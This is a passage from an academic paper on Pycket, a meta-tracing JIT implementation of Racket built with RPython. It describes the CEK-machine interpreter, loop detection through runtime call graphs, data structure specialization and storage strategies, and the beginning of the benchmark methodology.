2. We show that tracing JIT compilation works well for eliminating
the overhead of proxies and contracts. (Section 6)

3. We describe methods for identifying loops for trace compilation
in a language lacking traditional looping constructs. (Section 4)

4. We show that our combination of interpreter improvements and
JIT optimizations eliminates the need for manual specialization.

We validate these contributions with an empirical evaluation of each
contribution in section 6. Our results show that Pycket is the fastest
compiler among several mature, highly-optimizing Scheme systems
such as Bigloo, Gambit, and Larceny on their own benchmark
suites, and that Pycket’s performance on contracts is substantially
better than Racket, V8, and PyPy. Also, we show that manual
specialization is not needed for good performance in Pycket.1

Pycket is available, together with links to our benchmarks, at
https://github.com/samth/pycket

2. Pycket Primer
This section presents the architecture of Pycket but defers the de-
scription of the JIT to section 3. Pycket is an implementation of
Racket but is built in a way that generalizes to other dynamically
typed, functional languages. Fundamentally, Pycket is an imple-
mentation of the CEK machine (Felleisen and Friedman 1987) but
scaled up from the lambda calculus to most of Racket, including
macros, assignment, multiple values, modules, structures, continu-
ation marks and more. While this precise combination of features
may not be present in many languages, the need to handle higher-
order functions, dynamic data structures, control operators, and dy-
namic binding is common to languages ranging from OCaml to
JavaScript.

Now to describe the implementation of Pycket, consider again
the dot product function from the introduction:

(define (dot u v) (for/sum ([x u] [y v]) (* x y)))

This example presents several challenges. First, for/sum and define
are macros, which must be expanded to core syntax before interpre-
tation. Second, these macros rely on runtime support functions from
libraries, which must be loaded to run the function. Third, this loop
is implemented with a tail-recursive function, which must avoid
stack growth. In the following we describe our solutions to these
challenges in turn, together with other implementation approaches
taken in Pycket.

Macros & Modules Pycket uses Racket’s macro expander (Flatt
2002) to evaluate macros, thereby reducing Racket programs to
just a few core forms implemented by the runtime system (Tobin-
Hochstadt et al. 2011).

To run a Racket program,2 Pycket uses Racket to macro-expand
all the modules used in a program and write the resulting forms and
metadata as JSON encoded files. Pycket then reads the serialized
representation, parses it to an AST, and executes it. Adopting this
technique enables Pycket to handle most of the Racket language
while focusing on the key research contributions. Because Racket’s
static optimizations are performed after macro expansion, Pycket
does not benefit from them.

Assignment Conversion and ANF Once a module is expanded to
core Racket and parsed from the serialized representation, Pycket
performs two transformations on the AST. First, the program is
converted to A-normal form (ANF), ensuring that all non-trivial
expressions are named (Danvy 1991; Flanagan et al. 1993). For
example, converting the expression on the left to ANF yields the
expression on the right.

(* (+ x 2) (+ y 3))
(let ((t1 (+ x 2))

(t2 (+ y 3)))
(* t1 t2))

1 This paper builds on preliminary work presented by Bolz et al. (2014).
This paper reports major improvements with respect to performance, opti-
mizations, loop-finding, coverage of the Racket language, and breadth of
benchmarks, including programs with contracts.
2 Pycket supports programs written as modules but not an interactive REPL.
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e ::= x | λx. e | e e
κ ::= [] | arg(e, ρ)::κ | fun(v, ρ)::κ

〈x, ρ, κ〉 7−→ 〈ρ(x), ρ, κ〉
〈(e1 e2), ρ, κ〉 7−→ 〈e1, ρ, arg(e2, ρ)::κ〉

〈v, ρ, arg(e, ρ′)::κ〉 7−→ 〈e, ρ′, fun(v, ρ)::κ〉
〈v, ρ, fun(λx. e, ρ′)::κ〉 7−→ 〈e, ρ′[x 7→ v], κ〉

Figure 1. The CEK Machine for the lambda calculus.

Strictly speaking, converting to ANF might be characterized as an
AOT optimization in Pycket, however, the traditional use of ANF
is not an optimization in itself, but as a simplified intermediate
representation to enable further analysis and optimization. We
discuss below why ANF improves performance and the specific
challenges in an interpreter only context.

Next, we convert all mutable variables (those that are the target
of set!) into heap-allocated cells. This is a common technique
in Lisp systems, and Racket performs it as well. This approach
allows environments to be immutable mappings from variables to
values. Additionally, each AST node stores its static environment;
see section 5.1 for how this is used.

CEK States and Representation With our program in its final
form, we now execute it using the CEK machine. To review, the
CEK machine is described by the four transition rules in Figure 1.
A CEK state has the form 〈e, ρ, κ〉 where e is the AST for the
program (the control), ρ is the environment (a mapping of variables
to values), and κ is the continuation. A continuation is a sequence of
frames and there are two kinds of frames: arg(e, ρ) represents the
argument of a function application that is waiting to be evaluated
and fun(v, ρ) represents a function that is waiting for its argument.
The first transition evaluates a variable by looking it up in the
environment. The second and third transitions concern function
applications; they reduce the function and argument expressions
to values. The fourth transition performs the actual function call.
Because no continuations are created when entering a function, tail
calls are space efficient.

Initial execution of a program such as dot begins by injecting the
expanded, assignment-converted and A-normalized program into a
CEK machine triple with an empty continuation and environment.
The following is the (slightly simplified) main loop of the interpreter.

try:
while True:

ast, env, cont = ast.interpret(env, cont)
except Done, e:

return e.values

This RPython code continuously transforms a CEK triple (ast,
env, cont) into a new one, by calling the interpret method of
the ast, with the current environment env and continuation cont
as an argument. This process goes on until the continuation is the
empty continuation, in which case a Done exception is raised, which
stores the return value.

Environments and continuations are straightforward linked lists
of frames, although environments store only values, not variable
names. Because a lexical variable’s location in the environment
is determined by its static environment, the JIT can reference the
variable’s value at a fixed location in the runtime environment,
similar to De Bruijn indices. Continuation frames are the frames
from the CEK machine, extended to handle Racket’s additional core
forms such as begin and letrec.

Each continuation also contains information for storing contin-
uation marks (Clements 2006), a Racket feature supporting stack
inspection and dynamic binding. Because each continuation frame
is represented explicitly and heap-allocated in the interpreter, rather
than using the conventional procedure call stack, first-class continu-
ations, as created by call/cc, are straightforward to implement, and
carry very little run-time penalty, as the results of section 6 show. In
this respect, our runtime representation resembles that of Standard
ML of New Jersey (Appel and MacQueen 1991).

The CEK machine also makes it straightforward to implement
proper tail calls, as required by Racket and the Scheme stan-
dard (Sperber et al. 2010). However, one complication is that run-
time primitives that call Racket procedures must be written in a
variant of continuation-passing style, since each Racket-level func-
tion expects its continuation to be allocated explicitly and pushed
on the continuation register. In contrast, typical interpreters written
in RPython (and the Racket runtime system itself) expect user-level
functions to return to their callers in the conventional way.

Contracts and Chaperones One distinctive feature of Racket is
the extensive support for higher-order software contracts (Findler
and Felleisen 2002). Software contracts allow programmers to spec-
ify preconditions, postconditions, and invariants using the program-
ming language itself. This enables debugging, verification, program
analysis, random testing, and gradual typing, among many other
language features. However, higher-order contracts introduce wrap-
pers and indirections, which often entail noticeable performance
overhead. Contracts are also used in the implementation of grad-
ual typing in Typed Racket (Tobin-Hochstadt and Felleisen 2008),
where they protect the boundary between typed and untyped code.
Here again, the cost of these wrappers has proved significant (St-
Amour et al. 2012).

In Racket, contracts are implemented using the chaperone and
impersonator proxying mechanism (Strickland et al. 2012), and
make heavy use of Racket’s structure feature. These are the most
complex parts of the Racket runtime system that Pycket supports—
providing comprehensive implementations of both. This support is
necessary to run both the Racket standard library and most Racket
programs. Our implementations of these features follow the high-
level specifications closely. In almost all cases, the tracing JIT
compiler is nonetheless able to produce excellent results.

Primitives and Values Racket comes with over 1,400 primitive
functions and values, of which Pycket implements nearly 900. These
range from numeric operations, where Pycket implements the full
numeric tower including bignums, rational numbers, and complex
numbers, to regular expression matching, to input/output including
a port abstraction. As of this writing, more than half of the non-test
lines of code in Pycket implement primitive functions.

One notable design decision in the implementation of primitive
values is to abandon the Lisp tradition of pointer tagging. Racket
and almost all Scheme systems, along with many other language
runtimes, store small integers (in Racket, up to 63 bits on 64-bit
architectures) as immediates, and only box large values, taking
advantage of pointer-alignment restrictions to distinguish pointers
from integers. Some systems even store other values as immediates,
such as symbols, characters, or cons cells. Instead, all Pycket values
are boxed, including small integers. This has the notable advantage
that Pycket provides machine-integer-quality performance on the
full range of machine integers, whereas systems that employ tagging
will suffer performance costs for applications that require true 64-bit
integers. However, abandoning tagging means relying even more
heavily on JIT optimization—when the extra boxing cannot be
optimized away, even simple programs perform poorly.

Implementation Complexity While it is always hard to fairly
compare code sizes of two different projects with different features,
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we provide a rough comparison of the sizes of the projects involved.
Pycket is about 13.5K lines of code, of which about half implements
primitive functions ranging from input-output to arithmetic. Because
Pycket relies on Racket’s expansion mechanisms, it would not be
accurate to describe it as replacing some portion of Racket’s code
base. However, as a point of comparison, the Racket JIT alone is
23.5 KLOC.

Limitations While Pycket is able to run a wide variety of existing
Racket programs out of the box, it is not a complete implemen-
tation. The most notable absence is concurrency and parallelism:
Racket provides threads, futures, places, channels, and events; Py-
cket implements none of these. Given the CEK architecture, the
addition of support for threads to Pycket (which do not use OS-level
parallelism in Racket) should be straightforward. However, true par-
allelism requires support from the RPython JIT, which remains a
work in progress by the RPython developers. Other notable absences
in Pycket include Racket’s FFI and large portions of the IO support,
ranging from custom ports to network connectivity.

One challenge for true parallelism is Pycket’s use of data struc-
ture specialization, particularly for mutable data structures such as
the vector in our dot example, as described in section 5.3. Dynamic
data structure specialization, such as for homogeneous vectors of
floating point numbers, is widely used in JIT compilers for dynamic
languages such as JavaScript and Python, however, none of these
languages support truly parallel access to this data. Addressing this
tension is an open research problem.

3. Background on Tracing JITs and RPython
Having described the basic architecture of Pycket, the next few sec-
tions explain how the RPython system turns a high-level interpreter
into an optimizing JIT. We again use the dot product from the intro-
duction as an example.

A tracing JIT compiler optimizes a program by identifying and
generating optimized machine code for the common execution paths.
The unit of compilation for a tracing JIT is a loop, so a heuristic is
needed to identify loops during interpretation. For the dot function,
the identified loop is the tail-recursive function generated by the
for/sum macro.

When a hot loop is identified, the JIT starts tracing the loop. The
tracing process records the operations executed by the interpreter
for one iteration of the loop. The JIT then optimizes the instruc-
tion sequence and generates machine code which will be used on
subsequent executions of the loop. During tracing, the JIT inserts
guards into the trace to detect when execution diverges from the
trace and needs to return control to the interpreter. Frequently taken
fall back paths are also candidates for tracing and optimization. In
the dot function, guards are generated for the loop termination con-
dition (one for each sequence). Additional tests, such as dynamic
type tests, vector bounds checks, or integer overflow checks, are
optimized away.

The RPython (Bolz et al. 2009; Bolz and Tratt 2013) project
consists of a language and tool chain for implementing dynamic
language interpreters. The RPython language is a subset of Python
amenable to type inference and static optimization. The tool chain
translates an interpreter, implemented in RPython, into an efficient
virtual machine, automatically inserting the necessary runtime com-
ponents, such as a garbage collector and JIT compiler. The trans-
lation process generates a control flow graph of the interpreter and
performs type inference. This representation is then simplified to
a low-level intermediate representation that is easily translated to
machine code and is suitable for use in the tracing JIT.

The GC that is built into RPython is a generational GC that
cheaply allocates new objects into a nursery using a bump pointer.
Objects are promoted to an old generation after surviving one minor

try:
while True:

driver.jit_merge_point()
if isinstance(ast, App):

prev = ast
ast, env, cont = ast.interpret(env, cont)
if ast.should_enter:

driver.can_enter_jit()
except Done, e:

return e.values

Figure 2. Interpreter main loop with hints

collection. The old generation is managed by an incremental mark-
sweep collector. None of the benchmarks we use in this paper spent
any significant time in the GC, hence we do not discuss it further.

Tracing JITs typically operate directly on a representation of the
program; in contrast, the JIT generated by RPython operates on a
representation of an interpreter; that is, RPython generates a meta-
tracing JIT. To make effective use of the RPython JIT, the interpreter
source must be annotated to help identify loops in the interpreted
program, and to optimize away the overhead of the interpreter.

For Pycket, we annotate the main loop of the CEK interpreter
as in figure 2. The annotations indicate that this is the main loop of
the interpreter (jit merge point) and that AST nodes marked with
should enter are places where a loop in the interpreted program
might start (can enter jit). At these places the JIT inspects the state
of the interpreter by reading the local variables and then transfers
control to the tracer.

In a conventional tracing JIT, loops can start at any target of a
back-edge in the control-flow graph. In contrast, Pycket requires
special care to determine where loops can start because the control
flow of functional programs is particularly challenging to determine;
see section 4 for the details.

3.1 Generic RPython Optimizations
The RPython backend applies a large number of optimizations
to the generated traces. These optimizations are generic and not
specialized to Pycket, but they are essential to understand the
performance of Pycket.

Standard Optimizations RPython’s trace optimizer includes
a suite of standard compiler optimizations, such as common-
subexpression elimination, copy propagation, constant folding, and
many others (Ardö et al. 2012). One advantage of trace compilation
for optimization is that the control-flow graph of a trace is a straight
line. Trace optimizations and their supporting analyses can be im-
plemented in two passes over the trace, one forward pass and one
backward pass.

Inlining Inlining is a vital compiler optimization for high-level
languages, both functional and object-oriented. In a tracing JIT
compiler such as RPython, inlining comes for free from tracing (Gal
et al. 2006). A given trace will include the inlined code from any
functions called during tracing. This includes Racket-level functions
as well as runtime system functions (Bolz et al. 2009). The highly-
aggressive inlining produced by tracing is one of the keys to its
successful performance: it eliminates function call overhead and
exposes opportunities for other optimizations.

Loop-invariant Code Motion Loop-invariant code motion is im-
plemented in RPython particularly simple way, by peeling off a
single iteration of the loop, and then performing its standard suite of
forward analyses to optimize the loop further (Ardö et al. 2012).3 Be-
cause many loop-invariant computations are performed in the peeled

3 Developed originally by Mike Pall in the context of LuaJIT.
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loop header
label(p3, f58, i66, i70, p1, i17, i28, p38, p48)
guard_not_invalidated()

loop termination tests
i71 = i66 < i17
guard(i71 is true)
i72 = i70 < i28
guard(i72 is true)

vector access
f73 = getarrayitem_gc(p38, i66)
f74 = getarrayitem_gc(p48, i70)

core operations
f75 = f73 * f74
f76 = f58 + f75

increment loop counters
i77 = i66 + 1
i78 = i70 + 1

jump back to loop header
jump(p3, f76, i77, i78, p1, i17, i28, p38, p48)

Figure 3. Optimized trace for dot inner loop

iteration, they can then be omitted the second time, removing them
from the actual loop body. In some cases, Pycket traces exposed
weaknesses in the RPython JIT optimizer, requiring general-purpose
improvements to the optimizer.

Allocation Removal The CEK machine allocates a vast quantity
of objects which would appear in the heap without optimization.
This ranges from the tuple holding the three components of the
machine state, to the environments holding each variable, to the
continuations created for each operation. For example, a simple two-
argument multiply operation, as found in dot, will create and use 3
continuation frames. Because both integers and floating-point num-
bers are boxed, unlike in typical Scheme implementations, many
of these allocations must be eliminated to obtain high performance.
Fortunately, RPython’s optimizer is able to see and remove alloca-
tions that do not live beyond the scope of a trace (Bolz et al. 2011).

3.2 An Optimized Trace
The optimized trace for the inner loop of dot is shown in figure 3.
Traces are represented in SSA form (Cytron et al. 1991). Variable
names are prefixed according to type, with p for pointers, f for
floats, and i for integers. Several aspects of this trace deserve
mention. First, the loop header and final jump appear to pass
arguments, but this is merely a device for describing the content
of memory—no function call is made here. Second, we see that
there are two loop counters, as generated by the original Racket
program. More sophisticated loop optimizations could perhaps
remove one of them. Third, note that nothing is boxed—floating
point values are stored directly in the array, the sum is stored in a
register, as are the loop counters. This is the successful result of the
allocation removal optimization. Third, note that no overflow, tag,
or bounds checks are generated. Some have been hoisted above the
inner loop and others have been proved unnecessary. Finally, the
guard not invalidated() call at the beginning of the trace does not
actually become a check at run-time—instead, it indicates that some
other operation might invalidate this code, forcing a recompile.

At points where control flow may diverge from that observed
during tracing, guard operations are inserted. Guards take a condi-
tional argument and behave as no-ops when that condition evaluates
to true, while a false condition will abort the trace and hand con-
trol back to the interpreter. Many guards generated during tracing
are elided by the trace optimizer; the only guards which remain in
figure 3 encode the loop exit condition by first comparing the loop

index (i66 and i70) to the length of each input array (i17 and i28).
The guard operations then assert that each loop index is less than
the array length.

Due to the design of Pycket as a CEK machine, Pycket relies
on these optimizations much more heavily than PyPy. During trac-
ing, many instructions which manage the CEK triple are recorded:
allocating environments and continuation frames, building and de-
structing CEK triples, and traversing the environment to lookup
variables. Allocation removal eliminates environments and continu-
ations which do not escape a trace, constant folding and propagation
eliminate management of the CEK triples, and the loop-invariant
code motion pass eliminates environment lookups by hoisting them
into a preamble trace. The result for the dot function is a tight inner
loop without any of the original management infrastructure needed
to manage the interpreter state.

4. Finding Loops
In Pycket, determining where loops start and stop is challenging.
In a tracing JIT for a low-level language, the program counter is
typically used to detect loops: a loop is a change of the program
counter to a smaller value (Bala et al. 2000). Most RPython-based
interpreters use a bytecode instruction set, where the same approach
can still be used (Bolz et al. 2009).

However, Pycket, as a CEK machine, operates over the AST
of the program, which is significantly more high-level than most
bytecode instruction sets. The only AST construct which can lead
to looping behavior is function application. Not every function
application leads to a loop, so it is necessary to classify function
applications into those than can close loops, and those that cannot.

One approach would be to perform a static analysis that looks
at the program and tries to construct a call graph statically. This
is, however, very difficult (i.e. imprecise) in the presence of higher-
order functions and the possibility of storing functions as values in
the heap. In this section, we describe two runtime approaches to
detecting appropriate loops, both of which are dynamic variants of
the “false loop filtering” technique of Hayashizaki et al. (2011).

4.1 Why Cyclic Paths are Not Enough
In general, the body of every lambda may denote a trace header
(i.e. may be the start of a loop). Though many functions encode
loops, treating the body of every lambda as a trace header results
in many traces that do not correspond to loops in the program text.
For example, a non-recursive function called repeatedly in the body
of a loop will initiate tracing at the top of the function and trace
through its return into the body of the loop. Thus, identifying loops
based on returning to the same static program location does not
allow the JIT to distinguish between consecutive calls to a function
(“false loops”) and recursive invocations of a function. Consider the
following example, which defines two functions f and g, both of
two arguments.

(define (g a b) (+ a b))
(define (f a b) (g a b) (g a b) (f a b))

The g function computes the sum of its two arguments, while f
invokes g on its arguments twice and then calls itself with the
same arguments. Although it never terminates, f provides a simple
example of a false loop. f forms a tail recursive loop, with two trace
headers: at the beginning of the loop and at each invocation of g.

The function g is invoked twice per iteration of f, so the JIT
first sees g as hot and begins tracing at one of the invocations of g.
Tracing proceeds from the top of g and continues until the interpreter
next enters the body of g. This occurs by returning to the body of
f and tracing to the next invocation of g. As a result, only part of
the real loop is traced. To cover the entire loop, the guard generated
for the return point of g must also be traced. Eventually, the loop is
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covered by multiple traces that are stitched together by guards. This
results in more time spent tracing and suboptimal code as the JIT
does not perform optimization between traces.

4.2 Two State Representation
One approach to trick the JIT into tracing a whole loop is to encode
the location in the program as a pair of the current and previous
AST node (with respect to execution). This distinction only matters
at potential trace headers (the top of every lambda body). As such,
each trace header is encoded as the body of the lambda along with
its call site—only application nodes are tracked. The modified CEK
loop (figure 2) stores this additional state in the prev variable, which
is picked up by the JIT at the calls to the methods jit merge point
and can enter jit.

In the example above, each invocation of g would appear to
the JIT as a separate location. Tracing will now begin at the first
invocation of g, but will proceed through the second call and around
the loop. Even though tracing did not begin at the “top” of the
loop, the trace still covers a whole iteration. Such a “phase shift”
of the loop has no impact on performance. This approach is a
simplified version of the one proposed by Hayashizaki et al. (2011).
Their solution looks at more levels of the stack to decide whether
something is a false loop.

For recursive invocations of a function, this approach introduces
little overhead as a function body will only have a few recursive call
sites, though one trace will be generated for each recursive call site.
Such functions may trace through several calls, as tracing will only
terminate at a recursive call from the same call site which initiated
the trace.

Detecting loops in this manner also has the potential to generate
more traces for a given function: one per call site rather than just
one for the function’s body, as each trace is now identified by a call
site in addition to the function which initiated the trace. Even in
the presence of more precise loop detection heuristics, tracking the
previous state is beneficial as the JIT will produce a larger number
of more specialized traces.

4.3 Call Graph
When used in isolation, the approach described in the previous
section does not produce satisfactory results for contracts. This is
because the approach can be defeated by making calls go through a
common call site, as in the following modified version of g:

(define (g a b) (+ a b))
(define (call-g a b) (g a b))
(define (f* a b) (call-g a b) (call-g a b) (f* a b))

In such cases, the common call site hides the loop from the tracer,
resulting in the same behavior as the original example. This behavior
is a particular problem for contracts, leading to unsatisfactory
results for code that uses them. Contracts use many extra levels
of indirection and higher order functions in their implementation.
Thus, the one extra level of context used by the two state approach
is not consistently able to identify false loops.

To address this problem we developed a further technique. It
makes use of runtime information to construct a call graph of the pro-
gram. A call graph is a directed graph with nodes corresponding to
the source level functions in the program, and edges between nodes
A and B if A invokes B. We compute an under-approximation of
the call graph at runtime. To achieve this, whenever the interpreter
executes an application, the invoked function is inspected, and the
lambda expression which created the function is associated with the
lambda expression containing the current application. Thus portions
of the full call graph are discovered incrementally.

Loop detection in the program then reduces to detecting cycles
in the call graph. Cycle detection is also performed dynamically;

when invoking a function, Pycket adds an edge to the call graph
and checks for a cycle along the newly added edge. When a cycle is
detected, a node in the cycle is annotated as a potential loop header,
which the JIT will trace if it becomes hot. As opposed to the two
state representation, the call graph is an opt-in strategy—initially,
no AST nodes are potential trace headers. If the loop is generated
by a tail-recursive loop, simple cycles are all the system needs to
worry about. In the example above, f* is the only cycle in the call
graph and it is correctly marked as the only loop.

Non-tail-recursive loops are broken up by the CEK machine into
multiple loops. Consider the following append function, which loops
over its first argument, producing one continuation frame per cons
cell.

(define (append xs ys)
(if (null? xs) ys

(cons (car xs) (append (cdr xs) ys))))

When append reaches the end of the first list, the accumulated
continuation is applied to ys; the application of the continuation
will continue, with each continuation cons-ing an element onto its
argument. Thus, non–tail-recursive functions consist of a loop which
builds up continuation frames (the “up” recursion) and a loop which
applies continuation frames and performs outstanding actions (the
“down” recursion).

To expose this fact to the JIT, the call graph also inspects the
continuation after discovering a cycle. AST elements corresponding
to continuations generated from the invoking function are marked
in addition to the loop body. For the ANF version of the append
example, the beginning of the function body would be marked as a
loop for an “up” recursion, as would the body of the innermost let,
containing the application of the cons function, which receives the
result of the recursive call, performs the cons operation, and invokes
the previous continuation.4

Though call graph recording and, in particular, cycle detection
are not cheap operations, the performance gains from accurately
identifying source level loops typically makes up for the runtime
overhead. Due to the large amount of indirection, the call graph
approach is necessary to obtain good performance with contracted
code. Contracts can generate arbitrary numbers of proxy objects, so
special care must be taken to avoid unrolling the traversal of deep
proxies into the body of a trace. Such an unrolling generates sub
optimal traces which are overspecialized on the depth of the proxied
objects they operate on. Pycket uses a cutoff whereby operations on
deep proxy stacks are marked as loops to be traced separately, rather
than unrolled into the trace operating on the proxied object. This
produces a trace which loops over the proxy structure and dispatches
any of the handler operations in the proxies.

Removal of call graph loop detection causes Pycket to slow down
by 15 % across the full benchmark suite.

5. Improvements to the Interpreter
In this section, we describe a number of independent improvements
that we applied to the data structures used by the Pycket interpreter,
some novel (Section 5.1) and some taken from the literature (Sec-
tion 5.2 and 5.3), which contribute significantly to overall perfor-
mance. For each of these optimizations, we report how they impact
performance by comparing Pycket in its standard mode (all opti-
mizations on) to Pycket with the particular optimization off, across
our full benchmark suite.

4 A special case is primitive functions that are themselves loops, such as map.
They must be marked in the interpreter source code so that the JIT generates
a trace for them, even though there is no loop in the call graph.
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5.1 Pruning Environments in the Presence of ANF
As described in section 2 we translate all expressions to ANF prior
to interpretation. This introduces additional let-bindings for all non-
trivial subexpressions. Thus, function operands and the conditional
expression of an if are always either constants, variables, or prim-
itive operations that do not access the environment or the continu-
ation, such as cons. The transformation to ANF is not required for
our implementation, but significantly simplifies the continuations
we generate, enabling the tracing JIT to produce better code.

Traditionally, ANF is used in the context of AOT compilers that
perform liveness analysis to determine the lifetime of variables and
make sure that they are not kept around longer than necessary. This
is not the case in a naive interpreter such as ours. Therefore, ANF
can lead to problems in the context of Pycket, since the inserted
let-bindings can significantly extend the lifetime of an intermediate
expression.

As an example of this problem, the following shows the result
of transforming the append function to ANF:

(define (append xs ys)
(let ([test (null? xs)])
(if test ys

(let ([head (car xs)])
(let ([tail (cdr xs)])
(let ([rec (append tail ys)])
(cons head rec)))))))

In the resulting code, (cdr xs) is live until the call to cons, whereas
in the original code that value was only live until the recursive call
to append. Even worse, the result of the test is live for the body of
the append function. This problem is not unique to ANF—it can also
affect code written by the programmer. However, ANF makes the
problem more common, necessitating a solution in Pycket.

In Pycket, we counter the problem by attempting to drop envi-
ronment frames early.5 Dropping an environment frame is possible
when the code that runs in the frame does not access the variables
of the frame at all, only those of previous frames. To this end, we
do a local analysis when building a let AST. The analysis checks
whether any of the outer environments of the let hold variables not
read by the body of the let. If so, those environment frames are
dropped when executing the let. In the example above, this is the
case for the frame storing the tail variable, which can be dropped
after the recursive call to append.

Additionally, if the parent of an environment frame is unrefer-
enced, a new frame is created with just the child frame. This pro-
duces an effect similar to closure conversion, ensuring that closures
capture only used variables.

Disabling ANF entirely in the interpreter is not possible, but
we can disable Pycket’s environment optimizations. Across the
full benchmark suite, Pycket is 3.5× faster when environment
optimization is enabled.

5.2 Data Structure Specialization
A number of interpreter-internal data structures store arrays of
Racket values. Examples of these are environments and several
kinds of continuations, such as those for let and function applica-
tion. These data structures are immutable. Therefore, our interpreter
chooses, when allocating these data structures at runtime, between
variants of these data structures that are specialized for the particular
data it stores. Simple examination of the arguments to the construc-
tor (all data structures are classes in RPython) suffices to choose the
variant.

5 Since environments (and all other interpreter data structures) are immutable,
as enabled by assignment conversion, dropping a frame consists of creating
a new environment omitting that frame.

Vector

storage FloatVectorStrategy

strategyFixnumCons 2

array 2 1.4 5.5

Figure 4. Optimized representation of (1 . #(1.4 5.5)) using
cons specialization and vector strategies

Pycket uses two kinds of variants. First, we statically generate
specialized versions of the data structures based on the number of
elements, for all sizes between 0 and 10, inclusive, and choose which
to use dynamically. This avoids an indirection to a separate array
to store the actual values. More importantly, there are several type-
specialized variants, selected similarly. This helps to address the
lack of immediate small integers (so-called fixnums), as mentioned
in section 2. Boxed integers (and other boxed data) makes arithmetic
slower, because the results of arithmetic operations must be re-
boxed. This is mitigated by storing the fixnums’ values directly
in a specialized environment or continuation, without the need for
an extra heap object.

All of these specializations come into play for the compilation
of dot. The continuations and environments allocated all contain
fewer than 10 values. Also, there are multiple environments that
type-specialize based on their contents, such as the one that holds
the two integer loop counters, enabling further optimization by other
parts of the trace optimizer.

In addition to the systematic specialization for continuations and
environments, a few special cases of type specialization are directly
coded in the representation of data structures. The most important
example of these is cons cells that store fixnums in the car. This
case again uses an unboxed representation to store the value. The
specialization is made possible by the fact that Racket’s cons cells
are immutable. As an example, figure 4 shows the data layout of a
type-specialized cons cell that is storing an unboxed fixnum.

These specializations combine for significant performance bene-
fits. Across the full benchmark suite, Pycket with all optimizations
produces a speedup of 15 % over the version with type- and size-
specialization disabled.

5.3 Strategies for Specializing Mutable Objects
Optimizing mutable objects by specialization is harder than optimiz-
ing immutable objects. When the content of the mutable object is
changed, the specialized representation might not be applicable any
more. Thus a different approach is needed to optimize mutable data
structures such as Racket’s vectors and hash tables.

For example, one would like to use a different representation
for vectors that only store floating point numbers. In practice, many
vectors are type-homogeneous in that way. Ideally the content of
such a vector is stored in unboxed form, to save memory and
make accessing the content quicker. However, because the vector is
mutable, that representation needs to be changeable, for example if
a value that is not a floating point number is inserted into the vector.

The RPython JIT specializes mutable collections using the stor-
age strategies approach that was developed in the context of the
PyPy project (Bolz et al. 2013) and independently in similar form
by V8 (Clifford et al. 2015). In that approach, the implementation
of a collection object is split into two parts, its strategy and its stor-
age. The strategy object describes how the contents of the collection
are stored, and all operations on the collection are delegated to the
strategy.

If a mutating operation is performed that needs to change the
strategy, a new strategy is chosen and assigned to the collection.
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The storage is rewritten to fit what the new strategy expects. As
an example, if a string is written to a vector using the unboxed
floating point strategy, a new strategy for generic Racket objects is
chosen. New storage is allocated and the current vector’s contents
are boxed and moved into the new storage location. For a large
vector, this is an expensive operation, and thus strategies depend for
their performance on 1) the hypothesis that representation-changing
mutations are rare on large data structures, and 2) the change to a
more general strategy is a one-way street (Bolz et al. 2013).

Pycket uses strategies for the following kinds of objects: (a)
vectors are type specialized if they contain all fixnums or all floating-
point numbers (flonums); (b) hash tables are type specialized if
their keys are all fixnums, bytes, symbols, or strings; (c) strings are
specialized according to the kind of characters they store (Unicode
or ASCII); (d) cells (used to store mutable variables) are type
specialized for fixnums and flonums.

The use of strategies for vectors is a crucial optimization for dot.
When the vectors are allocated with floating-point numbers, they use
a strategy specialized to flonums, avoiding unboxing and tag checks
for each vector reference in the inner loop. Racket programmers can
manually do this type specialization by using flvectors, gaining
back much of the lost performance. Pycket obviates the need for
manual specialization by making generic vectors perform on par
with specialized ones. As an example, figure 4 shows the data layout
of a vector using a float strategy, with an array of unboxed floats as
storage.

For hash maps the benefits are even larger than for vectors: if
the key type is known, the underlying implementation uses a more
efficient hashing and comparison function. In particular, because the
comparison and hash function of these types is known and does not
use arbitrary stack space or call/cc, the hash table implementation
is simpler.

Strings are mutable in Racket, so they also use storage strategies.
Since most strings are never mutated, a new string starts out with a
strategy that the string is immutable. If later the string is mutated, it
is switched to a mutable strategy. A further improvement of strings
is the observation that almost all are actually ASCII strings, even
though the data type in Racket supports the full Unicode character
range. Thus a more efficient ASCII strategy is used for strings
that remain in the ASCII range. This makes them much smaller
in memory (since every character needs only one byte, not four) and
makes operations on them faster.

One special case of strategies is used for mutable heap cells
which are used to implement mutable variables—those that are the
target of set!. Quite often, the type of the value stored in the variable
stays the same. Thus when writing a fixnum or a floating point
number type into the cell, the cell switches to a special strategy
that stores the values of these in unboxed form (bringing the usual
advantages of unboxing).

Strategies are vital for high performance on benchmarks with
mutable data structures. On dot, disabling strategies reduces per-
formance by 75 %. For the benchmarks from section 6 that make
extensive use of hash tables, disabling strategies makes some bench-
marks 18 times slower. Over all benchmarks, the slowdown is 12 %.

6. Evaluation
In this section, we evaluate Pycket’s performance to test several
hypotheses, as described in the introduction:

1. Meta-tracing JITs produce performance competitive with mature
existing AOT compilers for functional languages.

2. Tracing JITs perform well for indirections produced by proxies
and contracts.

3. Tracing JITs reduce the need for manual specialization.

To test the first hypothesis, we compare Pycket to Racket and
3 highly-optimizing Scheme compilers, across a range of Scheme
benchmarks, and to Racket on benchmarks taken from the Racket
repository. To test the second hypothesis, we measure Pycket and
Racket’s performance on both micro- and macro-benchmarks taken
from the paper introducing Racket’s chaperones and imperson-
ators (Strickland et al. 2012), the proxy mechanism underlying
contracts, and also test V8 and PyPy on similar benchmarks. In
particular, we show how the call graph based loop filtering of sec-
tion 4.3 improves performance. To test the third hypothesis, we
compare Pycket’s performance on benchmarks with and without
type specialization.

Our evaluation compares Pycket with multiple configurations
and systems on a variety of programs. We present the most important
results and include full results in supplemental material.

6.1 Setup
System We conducted the experiments on an Intel Xeon E5-2650
(Sandy Bridge) at 2.8 GHz with 20 MB cache and 16 GB of RAM.
Although virtualized on Xen, the machine was idle. All benchmarks
are single-threaded. The machine ran Ubuntu 14.04.1 LTS with a
64 bit Linux 3.2.0. We used the framework ReBench6 to carry out
all measurements. RPython as of revision 7959ab6b0b35 was used
for Pycket.

Implementations Racket v6.1.1 , Larceny v0.97 , Gam-
bit v4.7.2 , Bigloo v4.2a-alpha13Oct14 , V8 v3.25.30 (and
contracts.js7 version 0.2.0), PyPy v2.5.0, and Pycket as of re-
vision fbc4c2d were used for benchmarking. Gambit programs
were compiled with -D SINGLE HOST. Bigloo was compiled with
-DLARGE CONFIG to enable benchmarks to complete without running
out of heap. In a few instances, Bigloo crashed, and in one case
Gambit did not compile. These results were excluded from the
average.

Methodology Every benchmark was run 10 times uninterrupted at
highest priority in a new process. The execution time was measured
